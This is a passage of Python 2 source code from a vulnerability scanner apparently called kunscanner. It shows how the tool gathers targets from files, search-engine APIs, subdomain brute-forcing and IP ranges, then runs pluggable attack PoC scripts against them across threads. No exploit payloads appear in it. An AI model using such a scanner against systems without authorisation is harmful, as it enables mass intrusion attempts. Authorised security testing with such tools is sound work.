82 | if os.path.exists(path.START_PATH + '/' + args.target_file) == False:
83 | raise ArgsException('The input scanned target file does not exist')
84 | with open(path.START_PATH + '/' + args.target_file) as f:
85 | data = f.readlines()
86 | for line in data:
87 | line = line.strip()
88 | if line:
89 | if self.CheckIp(line) or self.CheckDomain(line):
90 | self.domain_list.append(line.strip())
91 |
92 | def LoadApiTarget(self):
93 | if args.api_type == API_TYPE.ZOOMEYE:
94 | api = ZoomeyeApi()
95 | if args.api_type == API_TYPE.BAIDU:
96 | api = BaiduApi()
97 | if args.api_type == API_TYPE.SUBDOMAIN:
98 | api = SubDomainsBruteApi()
99 | try:
100 | self.domain_list = api.Run()
101 | except APIException:
102 | SysQuit()
103 |
104 | def LoadSpiderTarget(self):
105 | manager = multiprocessing.Manager()
106 | self.spider_info = manager.dict()
107 | self.spider_info['spider_status'] = False
108 | self.spider_info['domain_queue_sise'] = 0
109 | self.spider_info['spider_queue_size'] = 0
110 | spider_process = multiprocessing.Process(target=self.StartDomainSpider)
111 | spider_process.start()
112 |
113 | def StartDomainSpider(self):
114 | spider = DomainSpider(args.scanner_mode, args.scan_args,self.domain_queue, self.spider_info)
115 | spider.RunSpider()
116 |
117 | def StrToIp(self, ips_type):
118 | if ips_type == IPS_TYPE.IPS:
119 | ips = args.ip_segment.split('-')
120 | # 192.168.0.1-192.168.0.254
121 | if '.' in ips[1]:
122 | if self.CheckIp(ips[0]) == False or self.CheckIp(ips[1]) == False:
123 | raise ArgsException('The entered IP address range is not valid')
124 | ip1, ip2 = ips[0].split('.'), ips[1].split('.')
125 | for i in range(4):
126 | if ip1[i] == ip2[i]:
127 | continue
128 | if ip1[i] < ip2[i]:
129 | break
130 | if ip1[i] > ip2[i]:
131 | raise ArgsException('The entered IP address range is not valid')
132 | ip_sum = self.Addr2Dec(ips[1]) - self.Addr2Dec(ips[0])
133 | if ip_sum > int(conf.MAX_IP_COUNT):
134 | raise ArgsException(
135 | 'The number of IP exceeds the maximum limit, the maximum number is {0}'.format(
136 | conf.MAX_IP_COUNT))
137 | self.domain_list.append(ips[0])
138 | start_ip, end_ip = ips[0], ips[1]
139 | while (start_ip != end_ip):
140 | start_ip = self.GetNextIp(start_ip)
141 | if start_ip != '':
142 | self.domain_list.append(start_ip)
143 | else:
144 | # 192.168.0.1-254
145 | if self.CheckIp(ips[0]) == False:
146 | raise ArgsException('The entered IP address range is not valid')
147 | ip1 = ips[0].split('.')
148 | if int(ips[1]) < 0 or int(ips[1]) > 255 or int(ip1[3]) > int(ips[1]):
149 | raise ArgsException('The entered IP address range is not valid')
150 | str_ip = str(ip1[0]) + '.' + str(ip1[1]) + '.' + str(ip1[2]) + '.' + "{0}"
151 | for number in range(int(ip1[3]), int(ips[1]) + 1):
152 | self.domain_list.append(str_ip.format(str(number)))
153 | elif ips_type == IPS_TYPE.SUBNETMASK:
154 | try:
155 | domain_tmp_list = IPy.IP(args.ip_segment)
156 | except Exception, e:
157 | raise ArgsException('The entered IP address range is not valid')
158 | for ip in domain_tmp_list:
159 | self.domain_list.append(str(ip))
160 |
161 | def GetNextIp(self, start_ip):
162 | bits = start_ip.split('.')
163 | i = len(bits) - 1
164 | while (i >= 0):
165 | n = int(bits[i])
166 | if n >= 255:
167 | bits[i] = '0'
168 | i -= 1
169 | else:
170 | n += 1
171 | bits[i] = str(n)
172 | break
173 | if i == -1:
174 | return ''
175 | ip = ''
176 | for j in range(len(bits)):
177 | if j == len(bits) - 1:
178 | ip += bits[j]
179 | else:
180 | ip += bits[j] + '.'
181 | return ip
182 |
183 | def CheckIp(self, ip):
184 | if not ip.startswith('http'):
185 | ip = 'http://'+ip
186 | up = urlparse.urlparse(ip)
187 | if up.netloc:
188 | if ':' in up.netloc:
189 | ip = up.netloc.split(':')[0]
190 | else:
191 | ip = up.netloc
192 | regex = re.compile(r'^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
193 | if regex.match(ip):
194 | return True
195 | else:
196 | return False
197 |
198 | def CheckDomain(self,domain):
199 | if not domain.startswith('http'):
200 | domain = 'http://'+domain
201 | up = urlparse.urlparse(domain)
202 | if up.netloc:
203 | if ':' in up.netloc:
204 | d = up.netloc.split(':')[0]
205 | else:
206 | d = up.netloc
207 | regex = re.compile(r'(?i)^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$')
208 | if regex.match(d):
209 | return True
210 | else:
211 | return False
212 |
213 | def Addr2Dec(self, addr):
214 | items = [int(x) for x in addr.split(".")]
215 | return sum([items[i] << [24, 16, 8, 0][i] for i in range(4)])
216 |
217 |
218 | class ScriptLoader():
219 |
220 | def Loader(self):
221 | self.all_script_list = []
222 | self.script_object_list = []
223 | self.LoadAllScriptName()
224 |
225 | if args.script_type == SCRIPT_TYPE.ALL_SCRIPT:
226 | self.ShowScriptType('all scrips')
227 | self.LoadAllScripts()
228 | elif args.script_type == SCRIPT_TYPE.CUSTOM_SCRIPT:
229 | self.ShowScriptType('custom scrips')
230 | self.LoadCustomScripts()
231 |
232 | def ShowScriptType(self, script_type):
233 | if args.work_type == WORK_TYPE.SCAN:
234 | if args.scanner_mode == SCANNER_MODE.CONSOLE:
235 | script_type_msg = 'Script type: {0}'
236 | msg = OutPutPadding(script_type_msg.format(script_type), MESSAGE_LEVEL.INFO_LEVEL)
237 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
238 |
239 | def LoadAllScriptName(self):
240 | for root, dirs, scripts in os.walk(path.SCRIPTS_PATH):
241 | for script in scripts:
242 | script_info = {}
243 | if '__init__' not in script and 'pyc' not in script and 'py' in script:
244 | script_info['name'] = script.split('.')[0]
245 | script_info['path'] = os.path.join(root, script)
246 | self.all_script_list.append(script_info)
247 |
248 | def LoadDirectoryScriptname(self, directory_name):
249 | script_list = []
250 | if os.path.exists(path.SCRIPTS_PATH + '/' + directory_name) == False:
251 | raise ArgsException('No specified attack script directory ({0}) was found.'.format(directory_name))
252 | for root, dirs, scripts in os.walk(path.SCRIPTS_PATH + '/' + directory_name):
253 | for script in scripts:
254 | script_info = {}
255 | ext = script.split('.')[-1]
256 | if '__init__' not in script and ext == 'py':
257 | script_info['name'] = script.split('.')[0]
258 | script_info['path'] = root
259 | script_list.append(script_info)
260 | return script_list
261 |
262 | def GetAllScriptDirectoryName(self):
263 | dirs_list = []
264 | tmp_dir_names = os.listdir(path.SCRIPTS_PATH)
265 | for d in tmp_dir_names:
266 | p = os.path.join(path.SCRIPTS_PATH, d)
267 | if os.path.isdir(p):
268 | dirs_list.append(p)
269 | dirs_list.append(path.SCRIPTS_PATH)
270 | return dirs_list
271 |
272 | def LoadAllScripts(self):
273 | for script in self.all_script_list:
274 | file, file_path, desc = imp.find_module(script['name'], self.GetAllScriptDirectoryName())
275 | script_object = imp.load_module(script['name'], file, file_path, desc)
276 | script_dict = {}
277 | script_dict['object'] = script_object
278 | script_dict['name'] = script['name']
279 | self.script_object_list.append(script_dict)
280 |
281 |
282 | def LoadCustomScripts(self):
283 | args_scripts = []
284 | if ',' in args.custom_scripts:
285 | args_scripts = args.custom_scripts.split(',')
286 | else:
287 | args_scripts.append(args.custom_scripts)
288 | dirs_list = self.GetAllScriptDirectoryName()
289 | for args_script in args_scripts:
290 | if '*' in args_script:
291 | script_list = self.LoadDirectoryScriptname(args_script.strip('*'))
292 | for script in script_list:
293 | file, file_path, desc = imp.find_module(script['name'], [script['path']])
294 | script_object = imp.load_module(script['name'], file, file_path, desc)
295 | script_dict = {}
296 | script_dict['object'] = script_object
297 | script_dict['name'] = script['name']
298 | self.script_object_list.append(script_dict)
299 | else:
300 | try:
301 | file, file_path, desc = imp.find_module(args_script, dirs_list)
302 | except Exception, e:
303 | raise ArgsException('Load script ({0}) fail'.format(args_script))
304 | if file == None:
305 | raise ArgsException('The specified attack script ({0}) was not found.'.format(args_script))
306 | script_object = imp.load_module(args_script, file, file_path, desc)
307 | script_dict = {}
308 | script_dict['object'] = script_object
309 | script_dict['name'] = args_script
310 | self.script_object_list.append(script_dict)
--------------------------------------------------------------------------------
/kunscanner/lib/core/log.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午3:15
3 | # @author : Xmchx
4 | # @File : log.py
5 |
6 | import os
7 | import coloredlogs
8 | import logging
9 |
10 |
11 | log_file_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))+'/log/scanner.log'
12 |
13 | console_logger = logging.getLogger('console')
14 |
15 | file_logger = logging.getLogger('file')
16 |
17 |
18 | def SetLogger():
19 | coloredlogs.DEFAULT_LOG_FORMAT = '[%(levelname)s] %(asctime)s %(message)s'
20 | coloredlogs.DEFAULT_FIELD_STYLES = {
21 | 'levelname': {'color': 'green'},
22 | 'asctime': {'color': 'white', 'Bright': True}
23 | }
24 | coloredlogs.DEFAULT_LEVEL_STYLES = {
25 | 'info': {'color': 'green'},
26 | 'error': {'color': 'red'},
27 | 'warning': {'color': 'yellow'}
28 | }
29 | coloredlogs.install(logger=console_logger)
30 |
31 | file_logger.setLevel(level=logging.INFO)
32 | handler = logging.FileHandler(log_file_path)
33 | handler.setLevel(logging.INFO)
34 | formatter = logging.Formatter('[%(levelname)s] %(asctime)s %(message)s')
35 | handler.setFormatter(formatter)
36 | file_logger.addHandler(handler)
37 |
38 |
39 | class ConsoleLogger:
40 | @staticmethod
41 | def Info(msg):
42 | console_logger.info(msg)
43 |
44 | @staticmethod
45 | def Warning(msg):
46 | console_logger.warning(msg)
47 |
48 | @staticmethod
49 | def Error(msg):
50 | console_logger.error(msg)
51 |
52 |
53 | class FileLogger:
54 | @staticmethod
55 | def Info(msg):
56 | file_logger.info(msg)
57 |
58 | @staticmethod
59 | def Warning(msg):
60 | file_logger.warning(msg)
61 |
62 | @staticmethod
63 | def Error(msg):
64 | file_logger.error(msg)
65 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/models.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午6:52
3 | # @author : Xmchx
4 | # @File : models.py
5 | from datetime import datetime
6 | from data import conf, args
7 | import mongoengine
8 |
9 | def ConnectDatabase():
10 | import socket
11 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 | try:
13 | sk.connect((conf.MONGO_HOST, int(conf.MONGO_PORT)))
14 | except Exception:
15 | return False
16 | sk.close()
17 | return True
18 |
19 |
20 | if args.use_database == True:
21 | mongoengine.connect('kun',host=conf.MONGO_HOST, port=int(conf.MONGO_PORT))
22 |
23 |
24 | class Task(mongoengine.Document):
25 | task_id = mongoengine.StringField(required=True, unique=True)
26 | task_name = mongoengine.StringField()
27 | short_target = mongoengine.StringField()
28 | full_target = mongoengine.StringField()
29 | scan_mode = mongoengine.StringField()
30 | target_type = mongoengine.StringField()
31 | script_type = mongoengine.StringField()
32 | target_number = mongoengine.IntField()
33 | script_info = mongoengine.StringField()
34 | start_time = mongoengine.DateTimeField(default=datetime.now)
35 | finish_time = mongoengine.DateTimeField(default=datetime.now)
36 |
37 | class Result(mongoengine.Document):
38 | task_id = mongoengine.StringField(required=True, unique=True)
39 | result = mongoengine.StringField()
40 | high_count = mongoengine.IntField()
41 | medium_count = mongoengine.IntField()
42 | low_count = mongoengine.IntField()
43 |
44 | class Script(mongoengine.Document):
45 | script_id = mongoengine.StringField(required=True, unique=True)
46 | script_name = mongoengine.StringField()
47 | script_info = mongoengine.StringField()
48 | script_author = mongoengine.StringField()
49 | script_update_time = mongoengine.StringField()
50 | script_level = mongoengine.StringField()
51 | script_title = mongoengine.StringField()
52 |
53 | class Status(mongoengine.Document):
54 | task_id = mongoengine.StringField(required = True,unique=True)
55 | task_name = mongoengine.StringField()
56 | warning = mongoengine.StringField()
57 | status = mongoengine.StringField()
58 | progress = mongoengine.StringField()
59 | create_time = mongoengine.DateTimeField(default=datetime.now)
60 |
61 | class Vuln(mongoengine.Document):
62 | task_id = mongoengine.StringField(required=True)
63 | vuln_id = mongoengine.StringField(required=True, unique=True)
64 | target = mongoengine.StringField()
65 | script = mongoengine.StringField()
66 | message = mongoengine.StringField()
67 | script_type = mongoengine.StringField()
68 | create_time = mongoengine.DateTimeField(default=datetime.now)
--------------------------------------------------------------------------------
/kunscanner/lib/core/output.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午3:00
3 | # @author : Xmchx
4 | # @File : output.py
5 |
6 | import sys
7 | import time
8 | from data import args, conf, path
9 | from enums import SCANNER_MODE, MESSAGE_LEVEL,SYSTEM_TYPE,LOG_DEFAULT_LEN,SCRIPT_TYPE
10 | from kunscanner.lib.utils.terminalsize import get_terminal_size
11 | from log import ConsoleLogger,FileLogger
12 | from prettytable import PrettyTable
13 | from kunscanner.lib.core.common import Encode
14 |
15 | def InfoOutPut2Console(msg,level = None):
16 | if args.scanner_mode == SCANNER_MODE.WEB:
17 | return
18 | msg = Encode(msg)
19 | if level == None:
20 | print msg
21 | return
22 | width , height = get_terminal_size()
23 | indentation = width - len(msg)
24 | if level == MESSAGE_LEVEL.STATUS_LEVEL:
25 | sys.stdout.write(' '* (indentation-1) + msg+'\r')
26 | sys.stdout.flush()
27 | elif level == MESSAGE_LEVEL.INFO_LEVEL:
28 | ConsoleLogger.Info(msg)
29 | elif level == MESSAGE_LEVEL.WARNING_LEVEL and conf.CONSOLE_WARNING == 'true':
30 | ConsoleLogger.Warning(msg)
31 | elif level == MESSAGE_LEVEL.ERROR_LEVEL:
32 | ConsoleLogger.Error(msg)
33 |
34 |
35 |
36 | def OutPutPadding(msg,level = None):
37 | width , height = get_terminal_size()
38 | if level == MESSAGE_LEVEL.INFO_LEVEL:
39 | if len(msg)+LOG_DEFAULT_LEN.INFO > width:
40 | msg_len = (len(msg)+LOG_DEFAULT_LEN.INFO) % width
41 | else:
42 | msg_len = len(msg) + LOG_DEFAULT_LEN.INFO
43 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS:
44 | padding_num = width-msg_len-1
45 | else:
46 | padding_num = width-msg_len
47 | msg = msg + ' '*padding_num
48 |
49 | if level == MESSAGE_LEVEL.WARNING_LEVEL:
50 | if len(msg)+LOG_DEFAULT_LEN.WARNING > width:
51 | msg_len = (len(msg)+LOG_DEFAULT_LEN.WARNING) % width
52 | else:
53 | msg_len = len(msg) + LOG_DEFAULT_LEN.WARNING
54 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS:
55 | padding_num = width-msg_len-1
56 | else:
57 | padding_num = width-msg_len
58 | msg = msg + ' '*padding_num
59 |
60 | if level == MESSAGE_LEVEL.ERROR_LEVEL:
61 | if len(msg)+LOG_DEFAULT_LEN.ERROR > width:
62 | msg_len = (len(msg)+LOG_DEFAULT_LEN.ERROR) % width
63 | else:
64 | msg_len = len(msg) + LOG_DEFAULT_LEN.ERROR
65 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS:
66 | padding_num = width-msg_len-1
67 | else:
68 | padding_num = width-msg_len
69 | msg = msg+' '*padding_num
70 | return msg
71 |
72 | def WriteLogToFile(msg,level = None):
73 | if conf.SAVE_LOG_TO_FILE == 'true':
74 | if level == MESSAGE_LEVEL.INFO_LEVEL:
75 | FileLogger.Info(msg)
76 | elif level == MESSAGE_LEVEL.WARNING_LEVEL:
77 | FileLogger.Warning(msg)
78 | elif level == MESSAGE_LEVEL.ERROR_LEVEL:
79 | FileLogger.Error(msg)
80 |
81 |
82 | '''
83 | 扫描任务最终结果的格式
84 | [{
85 | "target": "127.0.0.1",
86 | "result": [{
87 | "items": {
88 | "test1": "test1",
89 | "test2": "test2",
90 | "test3": ""
91 | },
92 | "script_name": "web_info",
93 | "script_type": "info"
94 | }, {
95 | "message": "",
96 | "script_name": "redis_unauth",
97 | "script_type": "attack"
98 | }]
99 | }, {
100 | "target": "127.0.0.2",
101 | "result": [{
102 | "items": {
103 | "test1": "test1",
104 | "test2": "test2",
105 | "test3": ""
106 | },
107 | "script_name": "web_info",
108 | "script_type": "info"
109 | }]
110 | }]
111 | '''
112 |
113 | def OutputFinalResults(data):
114 | if not len(data):
115 | return
116 | id = 0
117 | table = PrettyTable(['id','target', "script", 'type','result'])
118 | table.align = 'l'
119 | for target in data:
120 | for info in target['result']:
121 | if info['script_type'] == 'info':
122 | for key,value in info['items'].items():
123 | id+=1
124 | table.add_row([str(id), target['target'],info['script_name'],info['script_type'],key+':'+value])
125 | elif info['script_type'] == 'attack':
126 | id += 1
127 | if info['message']:
128 | table.add_row([str(id), target['target'],info['script_name'],info['script_type'],info['message']])
129 | else:
130 | table.add_row([str(id), target['target'], info['script_name'], info['script_type'],
131 | 'Vulnerability'])
132 | InfoOutPut2Console('\nThe complete scan results are shown in the following table:')
133 | InfoOutPut2Console(table)
134 |
135 | def WriteResultToFile(data):
136 | if not len(data):
137 | return
138 | result = []
139 | for target in data:
140 | for info in target['result']:
141 | if info['script_type'] == 'info':
142 | for key,value in info['items'].items():
143 | result.append(target['target']+'\t'+info['script_name']+'\t'+info['script_type']+'\t'+key+':'+value)
144 | elif info['script_type'] == 'attack':
145 | if info['message']:
146 | result.append(target['target']+'\t'+info['script_name']+'\t'+info['script_type']+'\t'+'Vulnerability'+'\t'+info['message'])
147 | else:
148 | result.append(target['target'] + '\t' + info['script_name'] + '\t' + info[
149 | 'script_type'])
150 | if args.output_file_name:
151 | file_name = args.output_file_name
152 | else:
153 | file_name = time.strftime("%Y_%m_%d_%H_%M_%S", time.localtime())
154 | rf = open(path.RESULT_PATH + file_name, 'w')
155 | for line in result:
156 | rf.writelines(line+'\n')
157 | rf.close()
158 | InfoOutPut2Console('\nScan results are saved in file: '+path.RESULT_PATH + file_name)
159 |
160 | def OutputScriptInfo(data):
161 | if args.script_type == SCRIPT_TYPE.CUSTOM_SCRIPT:
162 | table = PrettyTable(encoding=sys.stdout.encoding)
163 | for script in data:
164 | for key,value in script['object'].Info().items():
165 | table.add_column(key,[value])
166 | elif args.script_type == SCRIPT_TYPE.ALL_SCRIPT:
167 | table = PrettyTable(["name", "info","author","time","type","level"],encoding=sys.stdout.encoding)
168 | for script in data:
169 | info = script['object'].Info()
170 | table.add_row([info['name'],info['info'],info['author'],
171 | info['time'],info['type'],info['level']])
172 | InfoOutPut2Console(table)
173 |
174 | def OutPutSearchScriptInfo(data):
175 | is_exit = False
176 | table = PrettyTable(["name", "info", "author", "time", "type", "level"])
177 | for script in data:
178 | info = script['object'].Info()
179 | if args.search_script in info['name'] or args.search_script in info['info']:
180 | is_exit = True
181 | table.add_row([info['name'], info['info'], info['author'],
182 | info['time'], info['type'], info['level']])
183 | if is_exit:
184 | InfoOutPut2Console(table)
185 | else:
186 | InfoOutPut2Console('No matching Poc found', MESSAGE_LEVEL.INFO_LEVEL)
187 |
188 |
189 |
190 |
191 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/scanner.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/25 上午1:28
3 | # @author : Xmchx
4 | # @File : scanner.py
5 |
6 | import sys
7 | import Queue
8 | import threading
9 | import urlparse
10 | from enums import TARGET_TYPE, MESSAGE_LEVEL,STATUS,SCRIPT_LEVEL
11 | from data import args, conf
12 | from output import OutPutPadding,InfoOutPut2Console,OutputFinalResults, WriteResultToFile
13 | from exception import PocWarningException, PocErrorException
14 | if args.use_database:
15 | from database import SaveResultToDatabase, SaveProgressToDatabase,SaveStatusToDatabase
16 | from kunscanner.lib.core.common import SysQuit
17 | from kunscanner.lib.utils.terminalsize import get_terminal_size
18 |
19 | width , height = get_terminal_size()
20 |
21 |
22 | class Scanner():
23 | def __init__(self, target_loader, script_loader):
24 | self.target_loader = target_loader
25 | self.script_loader = script_loader
26 | self.script_object_list = script_loader.script_object_list
27 | self.scanner_status = False
28 | self.lock = threading.Lock()
29 | self.thread_list = []
30 | self.scan_number = 0
31 | self.error_msg = "Warning in scanner! target: {0} poc: {1} msg: {2}"
32 | self.success_number = 0
33 | self.scan_result = []
34 | self.all_size = 0
35 | self.high_count = 0
36 | self.medium_count = 0
37 | self.low_count = 0
38 | self.spider_target_list = []
39 |
40 | def Run(self):
41 | if args.scan_type == TARGET_TYPE.SPIDER:
42 | self.domain_queue = self.target_loader.domain_queue
43 | self.spider_info = self.target_loader.spider_info
44 | self.scanner_status = True
45 | for thread_id in range(int(conf.SCANNER_THREAD)):
46 | t = threading.Thread(target=self.SpiderScanner, args=(thread_id,))
47 | t.start()
48 | self.thread_list.append(t)
49 | for t in self.thread_list:
50 | t.join()
51 | else:
52 | self.domain_list = self.target_loader.domain_list
53 | self.scan_queue = Queue.Queue()
54 | self.CompositeScanQueue()
55 | self.scanner_status = True
56 | for thread_id in range(int(conf.SCANNER_THREAD)):
57 | t = threading.Thread(target=self.CommonScanner, args=(thread_id,))
58 | t.start()
59 | self.thread_list.append(t)
60 | for t in self.thread_list:
61 | t.join()
62 | message = 'Attack success number: {0}'
63 | msg = OutPutPadding(message.format(str(self.success_number)), MESSAGE_LEVEL.INFO_LEVEL)
64 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
65 | OutputFinalResults(self.scan_result)
66 | WriteResultToFile(self.scan_result)
67 | if args.use_database:
68 | data = {}
69 | data['high_count'] = self.high_count
70 | data['medium_count'] = self.medium_count
71 | data['low_count'] = self.low_count
72 | data['result'] = self.scan_result
73 | SaveResultToDatabase(data)
74 | SaveProgressToDatabase('100')
75 | SaveStatusToDatabase(STATUS.FINISH)
76 |
77 |
78 | def SpiderScanner(self,thread_id):
79 | while True:
80 | if self.scanner_status == True:
81 | script_object_list = self.script_object_list
82 | info = {}
83 | try:
84 | target = self.domain_queue.get(timeout=int(conf.QUEUE_TIMEOUT))
85 | except Exception:
86 | if self.spider_info['spider_status'] == False and self.scan_number >= \
87 | self.spider_info['domain_queue_sise']:
88 | self.lock.acquire()
89 | self.scanner_status = False
90 | self.lock.release()
91 | break
92 | else:
93 | continue
94 | self.lock.acquire()
95 | self.spider_target_list.append(target)
96 | self.lock.release()
97 | for script in script_object_list:
98 | self.lock.acquire()
99 | self.scan_number = self.scan_number + 1
100 | self.lock.release()
101 | self.OutPutStatus(target, script['name'],thread_id)
102 | try:
103 | result = script['object'].Poc(target)
104 | except PocWarningException:
105 | continue
106 | except PocErrorException:
107 | SysQuit(1)
108 | info['target'] = target
109 | info['script_name'] = script['name']
110 | info['object'] = script['object']
111 | self.ScanResultHandler(info, result)
112 | else:
113 | break
114 |
115 | def CommonScanner(self, thread_id):
116 | while True:
117 | if self.scan_queue.qsize() > 0 or self.scanner_status == True:
118 | try:
119 | info = self.scan_queue.get(timeout=int(conf.QUEUE_TIMEOUT))
120 | except Exception:
121 | self.lock.acquire()
122 | self.scanner_status = False
123 | self.lock.release()
124 | break
125 | self.lock.acquire()
126 | self.scan_number = self.scan_number + 1
127 | self.lock.release()
128 | self.OutPutStatus(info['target'], info['script_name'],thread_id)
129 | if self.scan_number % 20 == 0:
130 | self.UpdateScanProgress()
131 | try:
132 | result = info['object'].Poc(info['target'])
133 | except PocWarningException:
134 | continue
135 | except PocErrorException:
136 | SysQuit(1)
137 | self.ScanResultHandler(info, result)
138 | else:
139 | self.lock.acquire()
140 | self.scanner_status = False
141 | self.lock.release()
142 | sys.exit()
143 |
144 | def CompositeScanQueue(self):
145 | for target in self.domain_list:
146 | for script in self.script_object_list:
147 | self.scan_info_dict = {}
148 | self.scan_info_dict['target'] = target
149 | self.scan_info_dict['script_name'] = script['name']
150 | self.scan_info_dict['object'] = script['object']
151 | self.scan_queue.put(self.scan_info_dict)
152 | self.all_size = self.scan_queue.qsize()
153 |
154 | def UpdateScanProgress(self):
155 | self.lock.acquire()
156 | SaveProgressToDatabase("%.2f" %(float(self.scan_number) / float(self.all_size) * 100))
157 | self.lock.release()
158 |
159 |
160 | def OutPutStatus(self, target, script,thread):
161 | if target.startswith('http'):
162 | domain_parse = urlparse.urlparse(target)
163 | domain = domain_parse.scheme+'://'+domain_parse.netloc+'/'
164 | else:
165 | domain = target
166 | if len(domain) > int(width/2):
167 | domain = domain[:int(width/2)]
168 | msg = 'TARGET: ' + domain + ' SCRIPT: ' + script + ' THREAD_ID: '+str(thread)+' FINISH: ' + str(self.scan_number)
169 | self.lock.acquire()
170 | InfoOutPut2Console(msg, MESSAGE_LEVEL.STATUS_LEVEL)
171 | self.lock.release()
172 |
173 | def OutPutSuccessInfo(self,data):
174 | if data['type'] == 'attack':
175 | if data['result']['message'] == '':
176 | msg = 'FOUND! target: ' + data['target'] + ' script: ' + data['script']
177 | else:
178 | msg = 'FOUND! target: ' + data['target'] + ' script: ' + data['script'] + ' message: ' + \
179 | data['result']['message']
180 | # if data['type'] == 'info':
181 | # for key,value in data['result'].items():
182 | # if value:
183 | # msg_list.append('[+] '+'target: ' + data['target'] + ' script: ' + data['script']+' '
184 | # +str(key)+': '+str(value))
185 | # else:
186 | # msg_list.append('[+] '+'target: ' + data['target'] + ' script: ' + data['script']+' '
187 | # +str(key)+': '+'unknown')
188 | msg = OutPutPadding(msg, MESSAGE_LEVEL.INFO_LEVEL)
189 | self.lock.acquire()
190 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
191 | self.lock.release()
192 |
193 | def StatisticalSuccessNumber(self):
194 | self.lock.acquire()
195 | self.success_number += 1
196 | self.lock.release()
197 |
198 |
199 | def ResultFormat(self,data):
200 | is_exist = False
201 | result_dict_tmp = {}
202 | self.lock.acquire()
203 | for each in self.scan_result:
204 | if each['target'] == data['target']:
205 | single_script_result_dict = {}
206 | if data['type'] == 'attack':
207 | single_script_result_dict['script_name'] = data['script']
208 | single_script_result_dict['script_type'] = 'attack'
209 | single_script_result_dict['message'] = data['result']['message']
210 | elif data['type'] == 'info':
211 | single_script_result_dict['script_name'] = data['script']
212 | single_script_result_dict['script_type'] = 'info'
213 | single_script_result_dict['items'] = data['result']
214 | each['result'].append(single_script_result_dict)
215 | is_exist = True
216 | break
217 | self.lock.release()
218 | if is_exist == False:
219 | result_dict_tmp['target'] = data['target']
220 | result_dict_tmp['result'] = []
221 | single_script_result_dict = {}
222 | if data['type'] == 'attack':
223 | single_script_result_dict['script_name'] = data['script']
224 | single_script_result_dict['script_type'] = 'attack'
225 | single_script_result_dict['message'] = data['result']['message']
226 | elif data['type'] == 'info':
227 | single_script_result_dict['script_name'] = data['script']
228 | single_script_result_dict['script_type'] = 'info'
229 | single_script_result_dict['items'] = data['result']
230 | result_dict_tmp['result'].append(single_script_result_dict)
231 | self.scan_result.append(result_dict_tmp)
232 |
233 |
234 |
235 |
236 | def ScanResultHandler(self, info, result):
237 | data = {}
238 | if info['target'].startswith('http'):
239 | target = info['target']
240 | else:
241 | target = 'http://'+info['target']
242 | domain_parse = urlparse.urlparse(target)
243 | domain = domain_parse.netloc
244 | if info['object'].Info()['type'] == 'info' and len(result):
245 | data['target'] = domain
246 | data['result'] = result
247 | data['script'] = info['script_name']
248 | data['type'] = 'info'
249 | elif info['object'].Info()['type'] == 'attack':
250 | if result['success'] == True:
251 | self.StatisticalSuccessNumber()
252 | data['target'] = domain
253 | data['result'] = result
254 | data['script'] = info['script_name']
255 | data['type'] = 'attack'
256 | data['level'] = info['object'].Info()['level']
257 | self.Statistics(data['level'])
258 | else:
259 | return
260 | else:
261 | return
262 | self.OutPutSuccessInfo(data)
263 | self.ResultFormat(data)
264 |
265 |
266 | def Statistics(self,level):
267 | if level == SCRIPT_LEVEL.HIGH:
268 | self.lock.acquire()
269 | self.high_count += 1
270 | self.lock.release()
271 | elif level == SCRIPT_LEVEL.MEDIUM:
272 | self.lock.acquire()
273 | self.medium_count += 1
274 | self.lock.release()
275 | elif level == SCRIPT_LEVEL.LOW:
276 | self.lock.acquire()
277 | self.low_count += 1
278 | self.lock.release()
--------------------------------------------------------------------------------
/kunscanner/lib/core/spider.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午10:02
3 | # @author : Xmchx
4 | # @File : spider.py
5 |
6 | import sys
7 | import Queue
8 | import re
9 | import threading
10 | import urlparse
11 | import tldextract
12 | import requests
13 |
14 | from common import GetSystemType
15 | from data import args, conf, path
16 | from enums import EXCEPYION_POSITION, MESSAGE_LEVEL, SPIDER_TYPE, SYSTEM_TYPE, SCANNER_MODE
17 | from exception import RequestsException
18 | from kunscanner.lib.parse.cmdline import CmdLineParser
19 | from log import SetLogger
20 | from argsparse import SetOptions
21 | from output import OutPutPadding,InfoOutPut2Console
22 | from kunscanner.lib.utils.utils import GetHeader,LoadDict
23 | from kunscanner.lib.core.common import Encode
24 | from kunscanner.lib.core import SetArgs, SetConfig, SetPath
25 |
26 |
27 | class DomainSpider():
28 | def __init__(self, scanner_mode, scan_args,domain_queue, spider_info):
29 | GetSystemType()
30 | if conf.SYSTEM_TYPE == SYSTEM_TYPE.WINDOWS:
31 | self.InitSetting(scanner_mode, scan_args)
32 | self.spider_type = int(conf.SPIDER_TYPE)
33 | self.spider_status = False
34 | self.spider_queue = Queue.Queue()
35 | self.spider_info = spider_info
36 | self.domain_queue = domain_queue
37 | if self.spider_type == int(SPIDER_TYPE.DEPTH_SPIDER):
38 | self.domain = args.spider_init_url
39 | self.max_depth = conf.SPIDER_DEPTH
40 | self.depth = 1
41 | elif self.spider_type == int(SPIDER_TYPE.NUMBER_SPIDER):
42 | if args.spider_init_url.startswith('http://'):
43 | self.domain = args.spider_init_url
44 | else:
45 | self.domain = 'http://'+args.spider_init_url
46 | if args.max_number:
47 | self.max_number = int(args.max_number)
48 | else:
49 | self.max_number = int(conf.SPIDER_NUMBER)
